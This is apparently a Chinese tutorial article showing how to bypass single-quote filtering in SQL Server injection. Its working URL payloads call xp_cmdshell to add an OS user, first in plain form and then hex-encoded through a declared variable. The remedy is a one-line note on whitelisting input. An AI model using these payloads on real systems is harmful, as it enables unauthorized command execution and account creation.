SQL注入中繞過 單引號 限制繼續(xù)注入
更新時間:2009年06月27日 21:51:48 作者:
我想不少人都看過一些關(guān)于SQL Injection針對SQL Server攻擊的文章,都是因為變量過濾不足甚至沒有過濾而構(gòu)造畸形SQL語句注入的
包括我寫的那篇《SQL Injection的實現(xiàn)與應(yīng)用》也是這樣的例子,因為沒有碰到任何的過濾,所以使我們相當輕松就注入成功了,如下:
http://www.dbjr.com.cn/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--
這往往給大家造成誤解,認為只要變量過濾了'就可以防止SQL Injection攻擊,這種意識為大量程序可以注入埋下禍根,其實僅僅過濾'是不夠的,在'被過濾的情況下我們照樣玩,看下面語句:
http://www.dbjr.com.cn/show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--
是不是跟上面的那句有很大區(qū)別?可是效果完全是一樣的。其實這些都是SQL語句。
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
這句是“net user angel pass /add”的16進制格式。了解SQL的朋友就容易明白,先聲明一個變量a,然后把我們的指令賦值給a,然后調(diào)用變量a最終執(zhí)行我們輸入的命令。變量a可以是任何命令。如下:
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a
解決辦法:
過濾變量,限制只允許輸入特定字符。比如對于數(shù)字類型的變量就限制只能輸入數(shù)字類型的數(shù)據(jù)。具體就不說了。這完全是程序作者自由發(fā)揮了。
復(fù)制代碼 代碼如下:
http://www.dbjr.com.cn/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--
這往往給大家造成誤解,認為只要變量過濾了'就可以防止SQL Injection攻擊,這種意識為大量程序可以注入埋下禍根,其實僅僅過濾'是不夠的,在'被過濾的情況下我們照樣玩,看下面語句:
復(fù)制代碼 代碼如下:
http://www.dbjr.com.cn/show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--
是不是跟上面的那句有很大區(qū)別?可是效果完全是一樣的。其實這些都是SQL語句。
復(fù)制代碼 代碼如下:
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
這句是“net user angel pass /add”的16進制格式。了解SQL的朋友就容易明白,先聲明一個變量a,然后把我們的指令賦值給a,然后調(diào)用變量a最終執(zhí)行我們輸入的命令。變量a可以是任何命令。如下:
復(fù)制代碼 代碼如下:
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a
解決辦法:
過濾變量,限制只允許輸入特定字符。比如對于數(shù)字類型的變量就限制只能輸入數(shù)字類型的數(shù)據(jù)。具體就不說了。這完全是程序作者自由發(fā)揮了。
相關(guān)文章
Asp.net在線備份、壓縮和修復(fù)Access數(shù)據(jù)庫示例代碼
這篇文章主要介紹了Asp.net如何在線備份、壓縮和修復(fù)Access數(shù)據(jù)庫,需要的朋友可以參考下2014-03-03ASP.NET中上傳并讀取Excel文件數(shù)據(jù)示例
如何打開Excel數(shù)據(jù)庫文件,想必有很多朋友都不清楚吧,下面通過一個簡單的例子,實現(xiàn)讀取Excel數(shù)據(jù)文件2014-05-05ASP.NET Core Web資源打包與壓縮技術(shù)介紹
這篇文章介紹了ASP.NET Core Web資源打包與壓縮技術(shù),對大家的學(xué)習或者工作具有一定的參考學(xué)習價值,需要的朋友們下面隨著小編來一起學(xué)習學(xué)習吧2022-02-02asp.net 使用Silverlight操作ASPNETDB數(shù)據(jù)庫
asp.net下使用Silverlight操作ASPNETDB數(shù)據(jù)庫的實現(xiàn)代碼2010-01-01